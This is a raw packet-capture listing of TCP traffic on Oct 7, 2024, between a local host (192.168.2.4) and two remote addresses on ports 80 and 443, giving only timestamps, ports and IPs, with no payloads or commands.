Oct 7, 2024 03:23:10.369714022 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.369760036 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.369942904 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.369976044 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.369987965 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.370008945 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.370022058 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.370040894 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.370047092 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.370074034 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.370080948 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.370109081 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.370137930 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.370182037 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.379113913 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.382725954 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.389127016 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.389170885 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.389595985 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.389607906 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.389954090 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.389991045 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.390193939 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.390206099 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.395971060 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.396023989 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.396473885 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.396487951 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.397012949 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.397022963 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.397119999 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.397134066 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.397587061 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.397597075 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.403650045 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.403708935 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.403743029 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.403779030 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.403788090 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.403815985 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.403830051 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.403872967 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.403878927 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.403911114 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.403923035 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.403948069 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.403959036 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404016972 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404021025 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404052973 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404063940 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404087067 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404093027 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404125929 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404134035 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404166937 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404171944 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404198885 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404213905 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404232979 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404237986 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404262066 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404272079 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404294014 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404301882 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404326916 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404331923 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404357910 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404365063 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404392004 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404396057 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404422998 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404433966 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404455900 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404464006 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404488087 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404494047 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404519081 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.404536009 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.404561996 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.421772003 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.421797991 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.421813011 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.421814919 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.421829939 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.421844959 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.421853065 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.421859026 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.421874046 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.421881914 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.421890020 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.421892881 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.421905041 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.421911001 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.421919107 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.421926022 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.421940088 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.421955109 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422010899 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422024965 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422049999 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422055006 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422056913 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422069073 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422087908 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422087908 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422100067 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422102928 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422117949 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422123909 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422132015 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422139883 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422147036 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422173023 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422183037 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422209978 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422230959 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422243118 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422245979 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422260046 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422270060 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422283888 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422285080 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.422300100 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.422313929 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460279942 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460314989 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460336924 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460452080 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460454941 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460500956 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460503101 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460535049 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460556984 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460572958 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460582972 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460616112 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460623980 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460649014 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460652113 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460681915 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460699081 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460716963 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460728884 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460762978 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460777998 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460804939 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460810900 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460846901 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460892916 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460902929 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460931063 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.460942984 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460974932 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.460983038 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461007118 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461011887 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461041927 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461055040 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461086988 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461097002 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461117029 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461122990 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461149931 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461154938 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461186886 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461199999 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461231947 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461241961 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461261034 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461266041 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461307049 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461307049 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461339951 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461357117 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461369991 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461379051 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461401939 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461414099 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461433887 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461447954 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461467028 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461472034 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461493015 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461503983 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461527109 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461532116 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461559057 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461563110 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461587906 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461595058 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461620092 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461623907 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461652994 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461652040 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461684942 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461690903 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461715937 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461723089 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461747885 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461755037 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461779118 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461786032 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461811066 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461816072 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461843014 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461848974 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461874962 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461880922 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461906910 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461915016 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461939096 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461946011 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.461971045 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.461977959 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.462003946 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.462009907 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.462035894 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.462043047 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.462070942 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.477149010 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.477931976 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.477953911 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.478348970 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.478362083 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.485033989 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.485049009 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.485100985 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.485140085 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.485162973 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.485205889 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.485344887 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.485378027 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.485403061 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.485416889 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.489187002 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.489253044 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.489310980 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.490505934 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.490530014 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.490612030 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.490693092 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.490726948 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.490753889 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.490768909 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.490773916 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.490780115 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.493338108 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.493345976 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.493402958 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.493778944 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.493788958 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.497117996 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.497257948 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.497318983 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.497360945 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.497376919 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.497406960 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.497420073 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.498212099 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.498261929 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.498322010 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.498341084 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.498374939 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.498423100 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.498878956 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.498897076 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.498919964 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.498930931 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.499959946 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.500011921 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.500070095 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.500194073 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.500221014 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.502909899 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.502933979 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.503001928 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.503473043 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.503496885 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.575201035 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.575252056 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.575316906 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.575334072 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.575382948 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.575433016 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.575445890 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.575488091 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.575520992 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.575520992 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.575541019 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.575560093 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.577366114 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.577375889 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:10.577445030 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.577770948 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:10.577785969 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.147774935 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.148309946 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.148323059 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.148699045 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.148705959 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.163322926 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.164171934 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.164551020 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.164561033 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.164979935 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.164984941 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.165245056 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.165285110 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.165611982 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.165626049 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.170881033 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.171622038 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.171637058 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.171983004 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.171993017 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.232525110 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.233057022 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.233066082 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.233453989 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.233458042 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.263608932 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.265630007 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.265655041 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.265866041 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.265875101 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.265958071 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.265969038 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.265974998 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.266139030 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.266180038 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.266222954 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.267082930 CEST	443	49823	13.107.246.45	192.168.2.4
